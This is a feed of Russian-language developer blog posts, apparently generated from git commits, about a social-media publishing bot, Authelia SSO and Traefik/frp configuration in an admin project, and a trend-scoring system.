# Как мы научили бота-публикатора читать только новое и не зацикливаться Работаю над **bot-social-publisher** — инструментом, который автоматизирует публикацию контента в соцсети. За время разработки проект рос и требовал всё более изощренных решений. Недавно пришло время для серьёзного апдейта: версия 2.2 превратилась в настоящий рефакторинг с половиной архитектуры. Основная боль была в том, что бот каждый раз перечитывал **весь лог событий** с самого начала. Проект растёт, логов накапливается тонны, и перечитывать их каждый раз — это пустая трата ресурсов. Первым делом внедрил **incremental file reading**: теперь каждый collector (собиратель событий) сохраняет позицию в файле и читает только новый контент. Позиции и состояния переносят перезапуски — данные не теряются. Второе узкое место: события из одного проекта приходят разреженно и хаотично. Если публикация выходит с опозданием, сессия кажется невнятной. Ввел **project grouping** — теперь все сессии из одного проекта, которые случились в окне 24 часа, объединяются в одну публикацию. Начало звучать куда более логично. Но бот просто агрегировал события — не очень информативно. Подключил **SearXNG news provider**, чтобы вплетать в промпты релевантные технологические новости. И добавил **content selector** с алгоритмом скоринга, который отбирает 40–60 самых информативных строк из лога. Выглядит как машинное обучение, а на деле простая эвристика, которая работает хорошо. Далее натолкнулся на проблему качества текста. LLM первый раз генерирует контент, но грамматика хромает. Внедрил **proofreading pass** — второй вызов LLM, но уже как редактор. Он проходит по тексту и чистит пунктуацию, стиль, грамматику. Результат — ночь и день. Когда LLM генерирует заголовок, иногда получаются дубли. Вместо того чтобы просто выпустить дубль, добавил **title deduplication** с авто-регенерацией (до трёх попыток). А ещё реализовал **tray notifications** — теперь разработчик видит нативные уведомления ОС о публикациях и ошибках. И главное: добавил **PID lock**, чтобы предотвратить запуск нескольких инстансов одновременно. Интересный момент: **PyInstaller**. Когда собираешь exe-бандл, пути до ресурсов перестают работать. Правильное разрешение путей в APP_DIR/BUNDLE_DIR — то есть нужно отдельно обрабатывать контекст запуска из exe. Мелочь, но без этого бандл просто не запустится. Ещё поменял логику пороговых значений: вместо min_lines теперь min_chars. Когда работаешь с короткими строками, количество символов точнее отражает объём контента, чем количество строк. И как положено, добавил AGPL-v3 лицензию ко всем файлам исходника. В итоге v2.2 — это не просто апдейт, а переосмысление архитектуры вокруг идеи: **не перечитывай лишнее, интеллектуально выбирай информацию, дважды проверяй качество, предотврати конфликты**. Бот теперь быстрее, умнее и его легче деплоить. 😄 Знаешь, почему логирование через **RotatingFileHandler** — лучший друг разработчика? Потому что диск полный. С ротацией логов хотя бы видно, когда именно он полный.

#git#commit#python#api#security
Разработка: bot-social-publisher
9 февр. 2026 г.
Исправлениеborisovai-admin

Когда конфиги падают: война Traefik с несуществующим middleware

# Когда конфиги кусаются: история про зависимые middleware в Traefik Проект `borisovai-admin` — это не просто админ-панель, это целая инфраструктурная система с аутентификацией через Authelia, обратным прокси на Traefik и кучей moving parts, которые должны работать в идеальной гармонии. И вот в один прекрасный день выясняется: когда ты разворачиваешь систему без Authelia, всё падает с ошибкой 502, потому что Traefik мечтательно ищет middleware `authelia@file`, которого просто нет в конфиге. **Завязка проблемы была в статических конфигах.** Мы жёстко прописали ссылку на `authelia@file` прямо в Traefik-конфигурацию, и это сработало, когда Authelia установлена. Но стоило её отключить или просто не устанавливать — бум, 502 ошибка. Получается, конфиги были сильно связаны с опциональным компонентом. Это классический случай, когда инфраструктурный код требует гибкости. Решение разбилось на несколько фронтов. Во-первых, пришлось **убрать жёсткую ссылку на `authelia@file` из статических конфигов Traefik** — теперь это просто не указывается в базовых настройках. Во-вторых, создали правильную цепочку инициализации: - `install-authelia.sh` теперь сам добавляет `authelia@file` в `config.json` и настраивает OIDC при установке Authelia; - `configure-traefik.sh` проверяет переменную `AUTHELIA_INSTALLED` и условно подключает middleware; - `deploy-traefik.sh` перепроверяет, установлена ли Authelia на сервере, и если да — переустанавливает `authelia@file`. Неожиданный бонус обнаружился в `install-management-ui.sh` — там был неправильный путь к `mgmt_client_secret`. Исправили по ходу. А `authelia.yml` вообще выкинули из репозитория, потому что его генерирует сам скрипт установки. Зачем держать в git то, что всегда одинаково генерируется? **Интересный момент про middleware в Docker-сообществе:** люди часто забывают, что middleware — это не просто функция, это *объект конфигурации*, который должен быть определён до использования. Traefik здесь строг: ты не можешь ссылаться на middleware, которого не существует. Это похоже на попытку вызвать функцию, которая не импортирована в Python. Простая ошибка, но очень болезненная в production-системах, потому что приводит к отказу в обслуживании. **Итоговая архитектура** получилась намного гибче: система работает как с Authelia, так и без неё, конфиги не лежат мёртвым грузом в репо, а инсталляторы действительно знают, что они делают. Это хороший пример того, как *опциональные зависимости* требуют условной логики не только в коде приложения, но и в инфраструктурных скриптах. Главный урок: если компонент опциональный, не прописывай его в статические конфиги. Пусть они туда добавляются динамически при необходимости. 😄 Что будет, если Fedora обретёт сознание? Первым делом она удалит свою документацию.

#git#commit#javascript#security
Разработка: borisovai-admin
8 февр. 2026 г.
Новая функцияborisovai-admin

SSO за выходные: как я запустил Authelia на боевом сервере

# Authelia в боевых условиях: как я собрал Single Sign-On за выходные Задача была амбициозная: в проекте **borisovai-admin** нужно было внедрить полноценную систему единой авторизации. На площадке работают несколько приложений — Management UI, n8n, Mailu, и каждое требует свой вход. Кошмар для пользователя и сущее издевательство над принципом DRY. Решение напрашивалось само: **Authelia** — современный SSO-сервер, который справляется с аутентификацией одной рукой и может интегрироваться практически с чем угодно. ## С чего я начал Первым делом создал `install-authelia.sh` — полный скрипт установки, который берёт на себя всю рутину: скачивает бинарник, генерирует секреты, прописывает конфиги и регистрирует Authelia как systemd-сервис. Это был ключевой момент — автоматизация означала, что процесс установки можно повторить в три команды без магических танцев с палочкой. Потом встала задача интеграции с **Traefik**, который у нас отвечает за маршрутизацию. Здесь нужен был `ForwardAuth` — middleware, который перехватывает запросы и проверяет, авторизован ли пользователь. Создал `authelia.yml` с настройкой ForwardAuth для `auth.borisovai.ru/tech`. Суть простая: любой запрос сначала идёт в Authelia, и если она вас узнала — пропускаем дальше, если нет — отправляем на страницу входа. ## Dual-mode, или как угодить двум господам одновременно Самое интересное началось, когда понадобилось поддержать сразу два способа авторизации. Management UI должна работать и как классическое веб-приложение с сессиями, и как API с **Bearer-токенами** через **OIDC** (OpenID Connect). Пришлось написать `server.js` с логикой, которая проверяет, что именно пришло в запросе: если есть Bearer-токен — валидируем через OIDC, если нет — смотрим на сессию. Включил в проект `express-openid-connect` — стандартную библиотеку для интеграции OIDC в Express. Хитрость в том, что Authelia может быть и провайдером OIDC, и middleware ForwardAuth одновременно. Просто берёшь конфиг для OIDC из Management UI, подтягиваешь его в `config.json` через автоопределение (этим займется `install-management-ui.sh`), и всё начинает работать как часы. ## Неожиданный поворот с logout Оказалось, что обычный logout в веб-приложении — это не просто удалить cookie. Если вы авторизовались через OIDC, нужно ещё уведомить Authelia, что сессия закончена. Пришлось настроить пять HTML-страниц с поддержкой OIDC redirect: пользователь нажимает logout, приложение отправляет его в Authelia, Authelia убивает сессию и редиректит обратно на страницу выхода. Выглядит просто, но заставляет задуматься о том, как много движущихся частей в современном веб. ## Интересный факт: ForwardAuth vs Reverse Proxy Authentication Знаешь ли ты, что многие разработчики путают эти два подхода? ForwardAuth — это когда *сам прокси* отправляет запрос на сервер аутентификации. А Reverse Proxy Authentication — это когда *сервер приложения* полностью отдаёт авторизацию на откуп прокси. Authelia работает с обоими, но ForwardAuth даёт больше контроля — приложение всё равно может принять дополнительные решения на основе данных пользователя. ## Итог: от идеи к prod Всё сложилось в единую систему благодаря интеграции на уровне `install-all.sh` — компонент `INSTALL_AUTHELIA` занимает шаг [7.5/10], что означает: это не первый день, но далеко не последний штрих. Management UI теперь умеет сама себя конфигурировать, находя Authelia в сети, подтягивая OIDC-конфиг и автоматически подключаясь. Главное, чему я научился: SSO — это не просто чёрный ящик, куда ты кидаешь пароли. Это *экосистема*, где каждый компонент должен понимать друг друга: ForwardAuth, OIDC, сессии, logout. И когда всё это работает вместе, пользователь вводит пароль *один раз* и может спокойно прыгать между всеми приложениями. Вот это да. Почему React расстался с разработчиком? Слишком много зависимостей в отношениях 😄

#git#commit#javascript#security
Разработка: borisovai-admin
8 февр. 2026 г.
Общееborisovai-admin

Туннели и таймауты: как мы скрепили инфраструктуру воедино

# Туннели, фронт и конфиги: как мы выстроили инфраструктуру для нескольких машин Проект **borisovai-admin** достиг того момента, когда одного сервера стало недостаточно. Нужно было управлять несколькими машинами, пробрасывать сетевые соединения между ними и всё это как-то красиво завернуть для пользователя. История о том, как мы за один вечер построили систему туннелей с веб-интерфейсом и потом долго разбирались с таймаутами Traefik. ## Начало: туннели нужны вчера Задача выглядела просто: нужен интерфейс для управления туннелями между машинами. Но просто никогда не бывает, правда? Первое, что я сделал — запустил фреймворк **frp** (Fast Reverse Proxy). Это отличный инструмент для туннелирования, когда основной сервер скрыт за NAT или брандмауэром. Быстрый, надёжный, с минимальными зависимостями. Спроектировал простую UI в `tunnels.html` — список активных туннелей, кнопки для создания новых, удаления старых. Ничего сложного, но эффективно. На бэкенде добавил 5 API endpoints в `server.js` для управления состоянием туннелей. Параллельно обновил скрипты инсталляции: `install-all.sh` и отдельный `install-frps.sh` для установки FRP сервера, плюс `frpc-template` для конфигурации клиентов на каждой машине. Главное — добавил навигационную ссылку «Туннели» на все страницы админ-панели. Мелочь, но юзабилити выросла в разы. ## Неожиданный враг: Traefik и его таймауты Вроде всё работало, но потом начали падать большие файлы при скачивании через GitLab. Проблема: **Traefik** по умолчанию использует достаточно агрессивные таймауты. Стоило большому файлу загружаться более пары минут — и соединение рубилось. Пришлось менять конфигурацию Traefik: установил `readTimeout` в 600 секунд (10 минут) и добавил специальный `serversTransport` именно для GitLab. Создал скрипт `configure-traefik.sh`, который генерирует две динамические конфигурации: `gitlab-buffering` и `serversTransport`. Теперь файлы загружаются спокойно, даже если это 500 мегабайт архива. ## Пока делал это, понял одно Знаете, что самое интересное в **Traefik**? Это микросервис-балансировщик, который любит называться облегчённым, но на практике требует огромного внимания к деталям. Неправильный таймаут — и ваше приложение выглядит медленным. Правильный — и всё летает. Это как тюнинг двигателя: одна скрепка в нужном месте, и мир меняется. ## Реорганизация и масштабирование Пока занимался инфраструктурой, понял, что документация разрослась и стала трудна в навигации. Переделал структуру `docs/` под новые реальности: разделил на `agents/`, `dns/`, `plans/`, `setup/`, `troubleshooting/`. Каждая папка отвечает за свой кусок практики. Добавил в `config/contabo-sm-139/` полный набор конфигураций конкретного сервера (traefik, systemd, mailu, gitlab) и обновил `upload-single-machine.sh` для поддержки загрузки этих конфигов. Теперь новую машину можно развернуть, не пересматривая весь интернет. ## Что получилось в итоге За вечер родилась полноценная система управления туннелями с приличным интерфейсом, автоматизацией и нормальной документацией. Проект теперь легко масштабируется на новые серверы. Плюс узнал, что Traefik — это не просто балансировщик, а целая философия правильной конфигурации микросервисов. Дальше в планах: расширение аналитики для туннелей, SSO интеграция и лучший мониторинг сетевых соединений. Но это уже другая история. 😄 **Разработчик**: «Я знаю Traefik». **HR**: «На каком уровне?». **Разработчик**: «На уровне стака StackOverflow с пятью вкладками одновременно».

#git#commit#javascript#api#security
Разработка: borisovai-admin
8 февр. 2026 г.
Новая функцияtrend-analisis

Связь вместо хаоса: как мы научили анализы разговаривать с трендами

# Как мы научили систему анализа трендов видеть связи между явлениями Работаем над проектом **trend-analysis** — это система, которая анализирует тренды в данных и выявляет причинно-следственные связи. Всё интересно, но вот беда: когда аналитик хочет глубже погрузиться в конкретный тренд, система не могла его за ручку взять и показать, откуда вообще взялась эта информация. Анализы существовали сами по себе, графики — сами по себе. Нужно было связать их воедино. Задача была чёткой: добавить возможность связывать анализы напрямую с конкретными трендами по ID. Звучит просто, но это касалось сразу нескольких слоёв архитектуры. **Первым делом расширили API запросов**: добавили параметр `trend_id` в запрос к анализу. Теперь при создании анализа система знает, какой именно тренд его вызвал. Логично, но раньше этой связи просто не было. Дальше — самая интересная часть. Нужно было хранить эту информацию, поэтому добавили поле `trend_id` в таблицу `analyses`. Но одного сохранения мало — нужно было ещё и *по-человечески* отображать результат. Началось с описаний эффектов: когда система выявляет причинно-следственную связь (это называется `causal_chain` в кодовой базе), она может объяснить, *почему* один фактор влияет на другой. Мы вытащили эти рассуждения (`rationale`) и превратили их в читаемые описания эффектов — теперь они отображаются прямо на интерактивном графе. Но вот неожиданность: граф строится из узлов, а узлы — это просто точки без контекста. Добавили поле `description` к каждому узлу, чтобы при наведении мышкой пользователь видел, что это вообще за узел и на что он влияет. Мелкое изменение, но пользователям нравится. Потом пришлось разбираться с интернационализацией. Карточки зон влияния и типы графиков должны были переводиться на разные языки. Добавили `i18n` переводы — теперь система говорит с пользователем на его языке, а не на смеси английского и технических термов. Всё это потребовало фиксов в типах TypeScript для навигации по параметрам поиска — система должна была *знать*, какие параметры можно передавать и как они называются. Без этого была бы путаница с undefined и ошибки во время выполнения. **Вот интересный момент**: когда работаешь с причинно-следственными связями в данных, очень легко создать «спагетти-граф» — такой, где всё связано со всем, и пользователь теряется. Важный паттерн в таких системах — *скрывать сложность слоями*. Сначала показываешь главные узлы и связи, потом — при клике — раскрываешь подробности. Мы это учитывали при добавлении описаний. **В итоге**: система стала гораздо более связной. Теперь аналитик видит не просто скучную таблицу с анализами, а *историю* того, как конкретный тренд повлиял на другие явления, с объяснениями на его языке. Граф перестал быть набором непонятных точек и стал рассказывать. Обновили CHANGELOG, и задача легла в историю проекта. Следующий шаг — добавить возможность сохранять эти связи как правила, чтобы система сама училась предсказывать новые влияния. Но это уже совсем другая история. 😄 Почему граф анализа пошёл к психологу? Потому что у него было слишком много *глубоких связей*.

#git#commit#javascript#security
Разработка: trend-analisis
8 февр. 2026 г.
Новая функцияtrend-analisis

Как отличить тренд от мусора: архитектура умного скоринга

# Когда скоринг тренда встречается с фактами: как мы научили компьютер различать шум и сигнал Всё началось с простого вопроса в проекте **trend-analisis**: как отличить действительно важный тренд от того, что просто много раз переписали в интернете? Первый скоринг работал, но был примитивен — считал кол-во источников и всё. А если один агрегатор новостей переиндексировал статью сто раз? Тогда по его логике это уже суперважный тренд, хотя на деле — просто мусор. Поэтому решили пойти в наступление. Нужна была система со вкусом, которая бы понимала разницу между настоящей значимостью тренда и просто шумом в информационном поле. Так родилась идея **Scoring V2**. Архитектура получилась трёхслойной. Первый слой — это **urgency** (срочность) и **quality** (качество), оба по шкале 0–100. Urgency отражает, насколько свежее и горячее событие, а quality говорит о том, из скольких разных *реальных источников* (не агрегаторов!) пришла информация. На основе этой пары метрик система выдаёт одну из четырёх рекомендаций: **ACT_NOW** (кидай в новости прямо сейчас), **MONITOR** (держим под контролем), **EVERGREEN** (медленный, долгоиграющий тренд) и **IGNORE** (это просто шум). Второй слой — интеграция с **Tavily API**. Это платформа для работы с новостями, которая даёт не просто список источников, а полный граф цитирований. TavilyAdapter в нашем коде считает unique domain count — то есть сколько *разных доменов* процитировали друг друга. Если один агрегатор (New Feed, Hacker News агрегатор — словили паттерны в `AGGREGATOR_PATTERNS`) выплюнул эту новость, мы его фильтруем. Остаются только оригинальные источники. Реальная магия произошла в методе `fetch_news()` с порогом цитирования. Мы выставили границу: если тренд цитируется меньше чем из пяти уникальных доменов, он недостаточно «реален», чтобы его считать. Просто фантом информационного поля. На фронте всё стало нагляднее. Добавили **RecommendationBadge** с крупным значком рекомендации и **UrgencyQualityIcons** — двойной индикатор, как в мобильных приложениях. Но главное изменение — источники больше не просто цифры (`5 sources`), теперь это кликабельные ссылки на URL. Пользователь может сразу прыгнуть на оригинальный источник вместо того, чтобы видеть размытую статистику. На бекенде настроился enrichment loop в **Crawler**: при обработке трендов с Hacker News, GitHub и arXiv теперь подтягиваются `tavily_citations` — полный профиль цитирований. Все константы вынесли в **Config**: `TAVILY_CITATION_BASELINES` (пороги для разных источников) и `AGGREGATOR_PATTERNS` (чёрный список перепечатанок). Самое интересное из истории Tavily: эта платформа появилась как ответ на хаос с информационной надёжностью. Её создатели заметили, что в эпоху AI-генерируемого контента источники становятся таким же валютой, как золото в разведке. Поэтому они решили сделать источники прозрачными и проверяемыми прямо из API. На выходе получилась система, которая *по-настоящему* различает сигнал и шум. **CHANGELOG.md** с чёткой историей всех изменений, **SCORING_V2_PLAN.md** с логикой расчётов (на будущее, чтобы кто-то не сломал), и **TAVILY_CITATION_APPROACH.md** с подводными камнями (коих оказалось немало). Всё задокументировано, чтобы следующий разработчик не потратил неделю на обратный инжиниринг. Что дальше? Теперь можно экспериментировать с весами urgency и quality, обучать модель на реальных данных пользователей. А Scoring V2 — это просто фундамент. Крепкий, надёжный, проверенный фундамент. 😄 Комментарий в коде: «Это должно работать» — убеждение из четырёх слов, которое разработчик дал самому себе вчера в 23:00, и он не особо в это верил.

#git#commit#security
Разработка: trend-analisis
7 февр. 2026 г.
Новая функцияtrend-analisis

Как научить машину отличать тренд от вирусного баяна

# Как мы разобрались, что такое тренд: от анализа данных к системе оценки Проект **trend-analisis** встал перед банальной, но хитрой проблемой: как машина может понять, что именно тренд? Не просто популярно, а действительно взлетает? В тренде идёт конкретное изменение? Вот я и взялся за исследование, которое потом превратилось в полноценную методологию оценки. Задача была амбициозная: построить систему двойной оценки для **Scoring V2**, которая бы учитывала и срочность события, и его качество. Потому что в реальной жизни одного лайка или шеера недостаточно — нужно смотреть на скорость роста, вовлечённость аудитории, стабильность интереса. Как отличить вирусный баян от настоящего тренда? Вот это вопрос. Первым делом я начал с сырых данных из **trending_items** — просто выгрузил всё, что там лежало, и начал искать закономерности. Представь: тысячи событий, метрики, сигналы. Нужно было понять, какие из них реально говорят о качестве тренда, а какие — это просто шум. Потом пошёл в глубокий анализ. Я собрал экспертные оценки, посмотрел, как эксперты оценивают эти же события. Интересное выяснилось: не все сигналы, которые кажутся важными, на самом деле коррелируют с реальной ценностью тренда. Например, большое число упоминаний может быть, а качество обсуждения — нулевое. Поэтому родилась идея **dual-score методологии**: отдельно считаем срочность (velocity), отдельно — качество (engagement и credibility). Третьим шагом я валидировал алгоритмы на граничных случаях. Что если тренд появился в маленьком сообществе, но растёт экспоненциально? Что если большой аккаунт один раз поделился — это считать за тренд? Документировал все edge cases, чтобы позже разработчики не натыкались на сюрпризы. Но вот беда: при анализе данных я понял, что некоторые критические сигналы вообще не собираются. Например, скорость, с которой люди делятся контентом в разных каналах, или как быстро растёт количество новых участников в обсуждении. Вот я и составил план по сбору этих данных — velocity и engagement метрики, которые нужно будет добавить в pipeline. На выходе получилась серия документов: от сырого анализа к финальной методологии, с проверкой алгоритмов и планом развития. Это не просто коммит — это полный цикл исследования, задокументированный так, чтобы любой разработчик мог взять и реализовать на основе выводов. Главный урок: прежде чем писать код системы, сначала нужно понять её логику. Потратить время на исследование — это не потеря времени, это инвестиция в правильную архитектуру. Потом код пишется в 10 раз быстрее. 😄 Почему scikit-learn считает себя лучше всех? Потому что Stack Overflow так сказал.

#git#commit#security
Разработка: trend-analisis
7 февр. 2026 г.
Новая функцияtrend-analisis

Как мы научили алгоритм видеть тренды раньше конкурентов

# Как мы научили систему различать тренды: от сырых данных к методологии V2 Проект **trend-analysis** потихоньку превращался в монстра. У нас были данные о трендирующих элементах, мы их собирали, анализировали, но что-то было не так. Алгоритм скорингования, который считался идеальным месяц назад, начал давать странные результаты: вчерашние хиты вдруг переставали быть релевантными, а настоящие тренды долго оставались невидимыми. Задача была простой на словах, но коварной в деталях: построить методологию скорингования V2, которая будет разбираться не только в том, *что* тренды, но и в том, *почему* они такие и *как долго* они просуществуют. ## Первый день: копание в данных Первым делом я создал серию исследовательских отчётов. Начал с **01-raw-data.md** — взял весь объём трендирующих элементов из базы и просто посмотрел на цифры без предубеждений. Какие сигналы вообще есть? Какие данные полны, а какие похожи на швейцарский сыр? Это как быть детективом на месте преступления — сначала нужно понять, что именно ты видишь. Потом пригласил в процесс экспертов. **02-expert-analysis.md** — это был мозговой штурм в текстовом формате. Эксперты смотрели на сигналы и говорили: «Это шум», «А это золото», «Вот это вообще баг в системе». Получилась карта того, какие сигналы действительно имеют вес при определении тренда. ## Вторая волна: архитектура методологии Третий отчёт, **03-final-methodology.md**, был поворотным. Мы поняли, что один скор — это неправда. Тренд не может быть описан одним числом. Родилась идея *dual-score методологии*: отдельно скор срочности (urgency) и скор качества (quality). Срочность показывает, насколько быстро что-то растёт прямо сейчас. Качество показывает, насколько это вообще надёжный сигнал. Представь: старая система видела вирусный мем, который взлетел за час, и кричала о тренде. А потом через два часа мем забыли, и система выглядела глупо. Новый подход говорит: «Да, это срочно, но качество низкое — боюсь, это не настоящий тренд, а всего лишь всплеск». **04-algorithms-validation.md** — это была проверка на прочность. Мы взяли исторические данные и прогнали их через алгоритм валидации. Ловили edge cases: что если все сигналы нулевые? Что если они противоречивы? Что на границах данных? Каждый баг, который нашли в теории, исправили до того, как код вообще написали. ## Последняя фаза: осознание пробелов **05-data-collection-gap.md** был честным разговором с самими собой. Мы поняли, что нам не хватает информации. Нет данных о *velocity* (как быстро растёт тренд во времени) и настоящего измерения *engagement*. Мы просто не собирали эту информацию раньше. Вот здесь и пришёл **06-data-collection-plan.md** — план того, как мы будем собирать недостающие сигналы. Не просто добавляя SQL-запросы, а продумав, какие именно метрики дадут нам полную картину. ## Что дальше? Весь этот мозговой марафон — это фундамент для реальной реализации. Теперь, когда мы начнём писать код для Scoring V2, мы знаем, что делаем и почему. Нет наугад, нет сомнений. Только чёткая методология и валидированные алгоритмы. Главный урок: иногда самая важная часть разработки — это вообще не код, а понимание. Потратили неделю на исследование вместо месяца отладки кривого скорингования. Карма благодарна. 😄 Почему scikit-learn считает себя лучше всех? Потому что Stack Overflow так сказал.

#git#commit#security
Разработка: trend-analisis
7 февр. 2026 г.